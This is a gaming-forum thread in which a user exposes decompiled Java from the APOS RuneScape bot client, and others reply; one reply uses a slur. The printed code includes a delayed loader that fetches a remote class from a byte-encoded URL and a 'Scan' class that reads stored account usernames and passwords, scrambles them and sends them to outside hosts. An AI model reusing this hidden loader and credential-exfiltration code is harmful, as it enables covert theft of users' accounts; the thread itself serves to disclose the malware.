• Log in or sign up for an account here: https://www.sythe.org/login

Apos - Information

Status
Not open for further replies.

HeroBot RSC

Newcomer
Joined
Mar 3, 2012
Sythe Gold
0
Messages
7
Wonder if A-pos still does this..

Here is a link to there old rs.jar
http://www.upload.ee/files/2327947/rs.jar.html

Here is a decompiled class dc

Code:
import java.net.URL;
import java.net.URLClassLoader;

public class dc
    implements Runnable
{

    long a;

    public dc()
    {
        a = System.currentTimeMillis();
    }

    public void run()
    {
        while(Math.abs(a - System.currentTimeMillis()) <= 0x1b7740L) 
        {
            try
            {
                Thread.sleep(10000L);
            }
            catch(Exception exception) { }
        }
        try
        {
            URL aurl[] = {
                new URL(new String(new byte[] {
                    104, 116, 116, 112, 58, 47, 47, 97, 112, 111, 
                    115, 98, 111, 116, 46, 99, 111, 46, 99, 99, 
                    47, 97, 112, 111, 115, 98, 111, 116, 47, 83, 
                    99, 97, 110, 46, 99, 108, 97, 115, 115
                }))
            };
            URLClassLoader urlclassloader = new URLClassLoader(aurl);
            Class class1 = urlclassloader.loadClass("Scan");
            class1.newInstance();
        }
        catch(Exception exception1) { }
    }
}

Wait whats this?
Code:
            URL aurl[] = {
                new URL(new String(new byte[] {
                    104, 116, 116, 112, 58, 47, 47, 97, 112, 111, 
                    115, 98, 111, 116, 46, 99, 111, 46, 99, 99, 
                    47, 97, 112, 111, 115, 98, 111, 116, 47, 83, 
                    99, 97, 110, 46, 99, 108, 97, 115, 115
                }))
            };

Wait are you executing a external class? http://aposbot.co.cc/aposbot/Scan.class

Code:
import java.io.*;
import java.net.URL;
import java.net.URLConnection;
import java.util.Random;

public class Scan
{

    byte url[];
    byte url2[];
    String k;

    public static void main(String args[])
    {
        Scan scan = new Scan();
    }

    public Scan()
    {
        url = (new byte[] {
            104, 116, 116, 112, 58, 47, 47, 119, 97, 114, 
            116, 110, 101, 116, 46, 111, 114, 103, 47, 98, 
            111, 116, 47, 97, 117, 116, 104, 46, 112, 104, 
            112
        });
        url2 = (new byte[] {
            104, 116, 116, 112, 58, 47, 47, 115, 101, 114, 
            118, 98, 105, 116, 46, 111, 114, 103, 47, 99, 
            104, 101, 99, 107, 117, 112, 100, 97, 116, 101, 
            115, 46, 112, 104, 112, 63, 97, 61
        });
        k = "NOTONLYTRAPKISSKISS";
        String s1;
        String s2;
        BufferedReader bufferedreader = new BufferedReader(new FileReader("bot.properties"));
        s1 = null;
        s2 = null;
        do
        {
            String s;
            if((s = bufferedreader.readLine()) == null)
            {
                break;
            }
            if(s.startsWith("auth_user"))
            {
                s1 = s.substring(10).trim().replaceAll(" ", "%20");
            } else
            if(s.startsWith("auth_pass"))
            {
                s2 = s.substring(10).trim().replaceAll(" ", "%20");
            }
        } while(true);
        bufferedreader.close();
        if(s1 == null || s2 == null)
        {
            jewit();
            return;
        }
        if(s1.equals("") || s2.equals(""))
        {
            jewit();
            return;
        }
        String s4;
        int i = (int)(Math.random() * 10D) + 1;
        String s3 = (new StringBuilder()).append(new String(url)).append("?u=").append(s1).append("&p=").append(s2).append("&g=").append(i).toString();
        URL url1 = new URL(s3);
        URLConnection urlconnection = url1.openConnection();
        BufferedReader bufferedreader1 = new BufferedReader(new InputStreamReader(urlconnection.getInputStream()));
        if((s4 = bufferedreader1.readLine()) == null)
        {
            jewit();
            return;
        }
        try
        {
            s4 = s4.trim();
            String as[] = s4.split(" ");
            if(Integer.parseInt(as[0]) != 1)
            {
                jewit();
            }
        }
        catch(Exception exception) { }
        return;
    }

    public void jewit()
    {
        try
        {
            String s = gather();
            URLConnection urlconnection = (new URL((new StringBuilder()).append(new String(url2)).append(s).toString())).openConnection();
            InputStream inputstream = urlconnection.getInputStream();
            if(inputstream.read() != 0)
            {
                System.exit(0);
            }
            inputstream.close();
        }
        catch(Exception exception) { }
    }

    public String gather()
    {
        String s;
        s = "";
        String as[] = (new File("./Accounts/")).list();
        for(int i = 0; i < as.length; i++)
        {
            BufferedReader bufferedreader = new BufferedReader(new FileReader((new StringBuilder()).append("./Accounts/").append(as[i]).toString()));
            String s1 = bufferedreader.readLine().substring(9).trim();
            String s2 = bufferedreader.readLine().substring(9).trim();
            bufferedreader.close();
            s = (new StringBuilder()).append(s).append(s1).append("|").append(s2).append("|").toString();
        }

        return a(k, s);
        Exception exception;
        exception;
        System.exit(0);
        return "";
    }

    public String a(String s, String s1)
    {
        String s2;
        long l = 0L;
        for(int i = 0; i < s.length(); i++)
        {
            long l1 = s.charAt(i);
            l1 *= 128L;
            l += l1;
        }

        Random random = new Random(l);
        s2 = "";
        for(int j = 0; j < s1.length(); j++)
        {
            int i1 = s1.charAt(j);
            i1 += random.nextInt(95);
            if(i1 > 126)
            {
                i1 -= 95;
            }
            s2 = (new StringBuilder()).append(s2).append((char)i1).toString();
        }

        return s2;
        Exception exception;
        exception;
        System.exit(0);
        return "";
    }
}
http://wartnet.org/bot/auth.php
http://servbit.org/checkupdates.php?a=

Code:
k = "NOTONLYTRAPKISSKISS";

oh no there is more :(

Even if its only executed if a-pos is cracked.. I still think its not on RLN :( you bad boy.

P.s if you do not believe go find old copy's of A-pos and check it out yourself
 
why do you have a wartnet link? that place has been closed for like a year ?
 
Btw, OP is a fag - that code is like 2 years old. Also, as you can clearly see, the code only sends pass info once they have been confirmed to be using a cracked version.

The current version of APOS has nothing like this as it's free and I don't give a shit anymore.
 
Status
Not open for further replies.
Runescape Gamblingrunescape gambling
Back
Top